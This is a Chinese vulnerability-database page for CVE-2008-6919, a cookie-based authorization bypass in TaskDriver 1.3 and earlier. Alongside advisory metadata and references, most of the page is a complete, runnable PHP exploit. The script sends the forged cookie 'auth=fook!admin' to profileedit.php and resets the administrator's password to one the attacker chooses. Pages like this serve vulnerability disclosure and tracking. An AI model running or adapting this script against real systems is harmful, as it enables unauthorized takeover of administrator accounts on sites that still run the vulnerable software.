TaskDriver 'profileedit.php' 权限绕过漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117168 漏洞类型 授权问题
发布时间 2008-12-29 更新时间 2009-08-10
CVE编号 CVE-2008-6919 CNNVD-ID CNNVD-200908-057
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7605
https://cxsecurity.com/issue/WLB-2009080091
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200908-057
|漏洞详情
TaskDriver1.3及其早期版本的脚本profileedit.php中存在权限绕过漏洞。远程攻击者通过把authcookie设置到"fook!admin",以绕过权限限制获得管理员访问权限。
|漏洞EXP
<?php

/*
	$Id: taskdriver-1.3.php,v 0.1 2008/12/03 04:04:28 cOndemned Exp $

	TaskDriver <= 1.3 Remote Change Admin Password Exploit
	Bug found && Exploited by cOndemned
	
	Download:
	
		http://www.taskdriver.com/downtrack/index.php?down=2
	
	
	Description:
	
		This exploit uses insecure cookie handling flaw in order
		to compromisse the system. In the begining its almost like
		the one that Silentz wrote for version 1.2 but not exactly.
		
		Actually there is no need to use sql injection for gaining
		admin password (hash). We can just set cookie value to :
		
			"auth=fook!admin"
			
		access profileedit.php and change his password for whatever
		we want to x]
		
		Next IMO nice thing is that it works both with magic quotes
		on and off :P
	
	-------------------------------------------------------------------
	
	Greetz:
	
		ZaBeaTy, Avantura, l5x, str0ke, d2, sid.psycho & TWT, 0in,
		doctor, Gynvael Coldwind ...
		
		http://www.youtube.com/watch?v=f7O6ekKOE9g
		
*/

	echo "\n[~] TaskDriver <= 1.3 Remote Change Admin Password Exploit";
	echo "\n[~] Bug found && Exploited by cOndemned\n";

	if($argc != 3)
	{
		printf("[!] Usage: php %s <target> <new-password>\n\n", $argv[0]);
		exit;
	}

	list($script, $target, $pass) = $argv;

	$xpl = curl_init();

	curl_setopt_array($xpl, array
		(	
			CURLOPT_URL		=> "{$target}/profileedit.php",
			CURLOPT_COOKIE		=> "auth=fook!admin",
			CURLOPT_RETURNTRANSFER	=> true, 
			CURLOPT_POST		=> true,
			CURLOPT_POSTFIELDS	=> "password={$pass}"	
		));
	
	$ret = curl_exec($xpl);
	curl_close($xpl);
	
	$out = preg_match_all('#<b>Profile Updated<\/b>#', $ret, $tmp) ? "[+] Done. You can login now\n\n" : "[-] Exploitation failed\n\n";
	
	echo $out;

?>

# milw0rm.com [2008-12-29]
|参考资料

来源:XF
名称:taskdriver-cookie-security-bypass(47608)
链接:http://xforce.iss.net/xforce/xfdb/47608
来源:BID
名称:33030
链接:http://www.securityfocus.com/bid/33030
来源:MILW0RM
名称:7605
链接:http://www.milw0rm.com/exploits/7605
来源:SECUNIA
名称:25221
链接:http://secunia.com/advisories/25221